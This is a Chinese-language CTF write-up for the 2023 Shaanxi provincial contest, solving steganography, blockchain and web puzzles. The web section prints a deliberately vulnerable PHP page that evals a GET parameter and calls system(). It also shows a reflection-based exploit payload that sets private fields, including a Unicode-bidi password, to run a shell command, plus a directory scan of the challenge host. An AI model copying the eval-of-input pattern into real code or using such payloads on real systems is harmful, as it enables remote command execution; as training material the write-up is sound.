2023年陕西省赛

Misc

管道

先看题目提示 是lsb 直接使用stegsolve进行信息提取

image-20230603093430165

image-20230603093447923

image-20230603093506785

虽然图片阴影比较多 但还是可以在red green blue的0通道上看到明显的痕迹 说明这三个通道上都有信息隐藏

但其实三个通道上信息都是一样的 都是正确的flag

image-20230603093623882

:horse:flag{0988f2a657d8936a76876d4f39f7d7a0}

可是雪啊飘进双眼(snow隐写)

在hint.wav后面发现摩斯电码 解码结果是WOAISHANXI

image-20230606193304876

将snow.txt放进010editor中观察 发现在行间出现大量可疑空格 且重复出现16进制码的20 09

考虑snow隐写 WOAISHANXI应该是密码

snow隐写是由空格、制表符、回车等不可见字符组成的隐写
原理是通过在文本文件的末尾嵌入空格和制表位的方式嵌入隐藏信息,不同空格与制表位的组合代表不同的嵌入信息。

image-20230606194753343

得到shanxiroujiamo 为压缩包密码 得到hide.jpg和key.jpg

binwalk分离key.jpg得到2.jpg 对比key.jpg 得到解密内容为:BC1PVEYD

image-20230606200018725

flag{d2d2835882495f4e39ecce6847e78f86}

findme(crc块异常 vc容器加密 gimp查看图片)

image-20230606211521662

在图片下方 观察到明显的异常色块 在010editor打开 发现了crc块有问题

使用tweakpng工具 先导出异常部分 再删去 保存图片

image-20230611090854614

删掉unknow1前面这部分IDAT头

image-20230611091057859

得到 unkonwn和key_修正.png

image-20230606211856015

整数大小 猜测是vc容器 使用key_修正.png做密钥进行挂载 得到flag.txt 全是0和255

image-20230606212008217

with open('E:/Desktop/2023 陕西省赛/find/flag/flag.txt', 'r') as file:
    data = file.read()

hex_data = ''.join([hex(int(value))[2:].zfill(2) for value in data.split(',')])
print(hex_data)
with open('flag_hex.txt', 'w') as f:
    f.write(bytes.fromhex(hex_data))

转化为16进制 将文件的后缀改为.data 放进gimps 转化为二维码 手动扫一下 注意 最后的结果编码一定要是ascii 不能是utf-8 不然转出来的二维码会有问题

image-20230611093527975

:horse:flag{a95e34a30d135c2d32f46f3834872f37}

你是不是很疑惑呢(aztec条形码)

这39张码都是一样的image-20230606222427342

aztec码 找个在线工具扫一下

image-20230606222548677

aztec条形码在线阅读

an inch of {TIME} is an inch of gold, an inch of gold cannot buy an inch of {TIME}

提示在图片的创建时间上有文章

image-20230606222819401

日期转时间戳再异或 将异或的结果按ascii码转为字符

import os
import re
def chinese_to_arabic(chinese_number):
    mapping = {
        '零': 0,
        '壹': 1,
        '贰': 2,
        '叁': 3,
        '肆': 4,
        '伍': 5,
        '陆': 6,
        '柒': 7,
        '捌': 8,
        '玖': 9,
        '拾': 10,
    }

    pattern = re.compile(r'[零壹贰叁肆伍陆柒捌玖拾佰仟万亿]')
    matches = pattern.findall(chinese_number)

    total = 0
    current = 0
    for char in matches:
        value = mapping[char]
        if value >= 10:
            if current == 0:
                current = value
            else:
                current *= value
        else:
            current += value
            if current >= 10:
                total += current
                current = 0

    return total + current

# 获取当前目录路径
folder_path = 'E:/Desktop/2023 陕西省赛/out/out'

# 获取当前目录下的所有文件名
file_names = os.listdir(folder_path)
# print(file_names)
# 仅保留后缀为 .png 的文件名,并将中文数字转换为阿拉伯数字
number_file_mapping = {}
for filename in file_names:
    if filename.endswith('.png'):
        chinese_num = filename.split('.')[0]
        number = chinese_to_arabic(chinese_num)
        number_file_mapping[number] = filename

# 按数字的大小顺序遍历文件名
sorted_numbers = sorted(number_file_mapping.keys())
for number in sorted_numbers:
    filename = number_file_mapping[number]
    file_path = os.path.join(folder_path, filename)

    # 获取文件的创建时间和修改时间的时间戳
    create_time = int(os.path.getctime(file_path))
    modify_time = int(os.path.getmtime(file_path))

    # 异或运算
    xor_result = create_time ^ modify_time
    xor_result = xor_result % 0x110000
    print(chr(xor_result),end='')
# flag{Tim3_1s_a_w0nd3rfuL_Th1ng_alright}

Blockchain

被销毁的flag

image-20230606222936551

image-20230606223001126

发现destroy 即为被删除的部分

image-20230606223101100

点开method为destroy的部分 在detail里面没有有效信息

再点开下面的部分 在detail里面找到一串hex码

image-20230606223249791

使用utf-8的编码方式 发现flag 在进行一下拼接

image-20230606223356008

flag{S0met1m4s_d4t0ry_c4n_n0t_d4t0ry}

Web

unserialize(反射机制 unicode不可见字符 )

题目代码

<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
    private $password;
    private $cmd;
    public function __destruct(){
        if($this->password=="‮⁦  //how to change the private variables⁩⁦secret"){
            system($this->cmd);
        }
    }
}
$a = $_GET['a'];
if(isset($_GET['a'])){
    @eval(waf($a));
}
?>

使用dirsearch扫出robots.txt

 python dirsearch.py -e php -u http://f74888d8.clsadp.com/

image-20230612162333204

转到 hint.php

image-20230612162441417

得到提示you can use these(getProperty、ReflectionObject、getFlag、getProperty、setAccessible、setValue)function

这行代码使用require_once语句导入了一个名为"waf.php"的文件 waf.php很可能包含一些用与过滤和检查输出的代码 当类getFlag被创建的时候,在触发销毁函数的时候,经过if判断,判断成功可以执行cmd命令,但是password和cmd是private私有变量,发现eval函数,传入参数a,a传递的php代码可以被执行 结合题意和提示 waf.php是用于检测a传入的php代码是否只使用了提示包含的函数 @符号用于抑制可能产生的错误消息。

可以利用反射机制来绕过私有成员变量的访问限制

编写exp

$flag=new getFlag();
$reflection = new ReflectionObject($flag);
$property = $reflection->getProperty('password');
$property->setAccessible(true);
$property->setValue($flag, "‮⁦  //how to change the private variables⁩⁦secret");
$property = $reflection->getProperty('cmd');
$property->setAccessible(true);
$property->setValue($flag, "cat flag");

放在vscode中还能看到不可见字符(unicode)

image-20230612200327300

将exp作为a的内容以get方式传入 得到flag

image-20230612202606059

flag{5e711db64425e99fcaf6020a8a3c9afb}